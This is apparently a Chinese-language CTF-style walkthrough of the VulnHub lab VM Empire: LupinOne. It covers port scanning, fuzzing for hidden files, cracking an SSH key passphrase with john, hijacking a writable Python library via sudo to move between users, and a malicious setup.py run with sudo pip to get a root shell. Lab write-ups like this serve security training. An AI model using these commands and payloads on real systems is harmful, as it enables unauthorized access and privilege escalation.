准备:
攻击机:虚拟机kali、本机win10。
靶机:EMPIRE: LUPINONE,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip,下载后直接Vbiox打开即可。
知识点:pip提权、fuzz爆破、base58解密、水平越权、john 工具的使用。
信息收集:
扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.0.11,显示开放了22、80端口,发现了robots.txt、/~myfile。
访问下80端口、robots.txt、/~myfile并查看源代码信息,但是均未发现有效的信息。
目录扫描:
使用dirmap进行目录扫描,常规的扫描未扫描出来啥信息,然后开启了fuzz扫描(需要在配置文件中开启fuzz模式,修改dirmap.config文件中的conf.fuzz_mode = 1),发现了~secret目录并进行访问找到了提示信息。
根据提示信息猜测账户名是icex64,并且告诉我们需要使用fasttrack破解他的密匙,猜测这里存在文件存放了密匙,这里采用ffuf进行扫描,命令:ffuf -u "http://192.168.1.4/~secret/FUZZ" -w /home/kali/Desktop/dict_mode_dict.txt -e .txt,.php,bak,html -mc 200,获取到.mysecret.txt文件。
信息解密和爆破:
访问.mysecret.txt文件并对数据进行解密,直接在https://ntool.chinaz.com/tools/baseAll网站解密成功,获得密匙。
将得到的密匙存放到upfine文件中,使用john生成密码本,命令:python2 /usr/share/john/ssh2john.py /home/kali/Desktop/upfine > passwd。
然后在使用fasttrack进行密码的爆破,命令:john --wordlist=/usr/share/wordlists/fasttrack.txt passwd,获得密码:P@55w0rd!
SSH登录:
需要赋予upfine文件600权限,否则会登陆失败,登录命令:ssh icex64@192.168.1.4 -i upfine,这里注意下尽量在kali上生成upfine文件,如果在win上生成在复制上去可能会登陆失败。
赋予600权限:chmod 600 upfine,使用ssh icex64@192.168.1.4 -i upfine进行ssh登录,输入密码:P@55w0rd!即可登录成功。
连接之后在目录下发现了user.txt,找到了第一个flag。
水平越权:
查看下当前用户可以用 sudo 执行那些命令,发现了heist.py文件。
查看下heist文件,发现通过webbrowser打开了一个连接,查找下webbrowser,但是很多显示没有权限,但是这里想到了sudo -l中一个python3.9,命令:find /usr -name *webbrowser*,发现webbrowser.py文件。
查看该文件的权限,发现该文件具有root权限且当前用户具有编写权限,命令:ls -al /usr/lib/python3.9/webbrowser.py。
因此在该文件中写入shell,代码:os.system("bin/bash")。
然后再用 arsene 调用 /home/arsene/heist.py,获取arsene权限,命令:sudo -u arsene python3.9 /home/arsene/heist.py。
提权:
查看下当前用户可以用 sudo 执行那些命令。
发现了pip命令不需要root密码即可执行,那我们就用pip的root权限安装一个shell的程序,成功获取到 root 权限,查看 flag。
mkdir upfine
cd upfine
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.py
sudo pip install .